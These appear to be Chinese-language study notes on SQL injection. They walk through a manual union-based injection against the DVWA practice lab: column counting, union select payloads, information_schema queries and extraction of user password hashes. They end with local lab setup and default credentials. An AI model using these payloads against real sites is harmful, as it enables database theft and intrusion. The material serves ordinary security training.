漏洞挖掘 漏洞利用 修复漏洞
sql注入漏洞、文件操作漏洞、xss、rce、逻辑漏洞
反序列化、、、、
sql注入漏洞: 网站的数据库 脱裤 拖取网站数据库
数据库基础:
数据库基本结构:数据库 -- 数据表 -- 数据列 -- 数据
sql语句:select * from 数据表的名称 where 数据列的名称=1
web基础:
https://www.aaa.com/index.php?id=1
url:统一资源定位符
域名:www.aaa.com
?id=1 请求id为1的内容 ? get请求 post请求
select * from 数据表的名称 where id=1
拿到一个网站,怎么判断该网站是否存在sql注入漏洞?
1.找交互点 网站跟数据库进行互动的地方 url 搜索框 登录框
2.找注入点 '
看回显结果,回显结果不正常显示,就说明这个位置是一个注入点
如果一个网站存在注入点,那么说明该网站存在sql注入漏洞
int类型 整型 where id=1'
char类型 字符型 where id='1''
3.漏洞利用
①手工注入
(1)判断注入类型 and 1=1 and 1=2
1 and 1=1 and 运算符 真 and 真 真 就会正常显示1的内容
1 and 1=2 真 and 假 假 不正常显示
看回显结果,如果回显结果不一样,则为int类型,那么后续的语句正常写
反之,回显结果一样,说明是char类型,那么后面的语句 都要加上 ' 闭合 # --+ 注释
?id=1和2 1 和 2 两个人
int类型 整型 where id=1和2 1 和 2 两个人
char类型 字符型 where id='1' order by 1#' 一个人 1和2
(2)判断列数 order by 二分法 列数为2
1' order by 1#
(3)看回显位置 union select 联合查询
1' and 1=2 union select 1,2#
(4)查询数据库名称 dvwa
1' and 1=2 union select 1,database()#
(5)查询数据表的名称 guestbook users
1' and 1=2 union select 1,table_name from
information_schema.tables where table_schema='dvwa'#
information_schema //数据库的一个名称
tables //是information_schema下面的一张表
(6)查询数据列的名称 user password
1' and 1=2 union select 1,column_name from
information_schema.columns where table_name='users'#
(7)读取数据 5f4dcc3b5aa765d61d8327deb882cf99 md5 撞库
1' and 1=2 union select 1,password from users#
1' and 1=2 union select 1,concat(user,'~~~',password) from users#
admin5f4dcc3b5aa765d61d8327deb882cf99
qq:1191674313 郑渊
②工具注入 脚本小子
搭建网站:
服务器 --> 操作系统 windows Linux、
中间件 apache nginx iis tomcat、、、
数据库 mysql sqlserver access 、、、
源码
PHPstudy 一键部署网站
dvwa 靶场
访问:打开浏览器 127.0.0.1/dvwa-master
默认的账号密码:admin password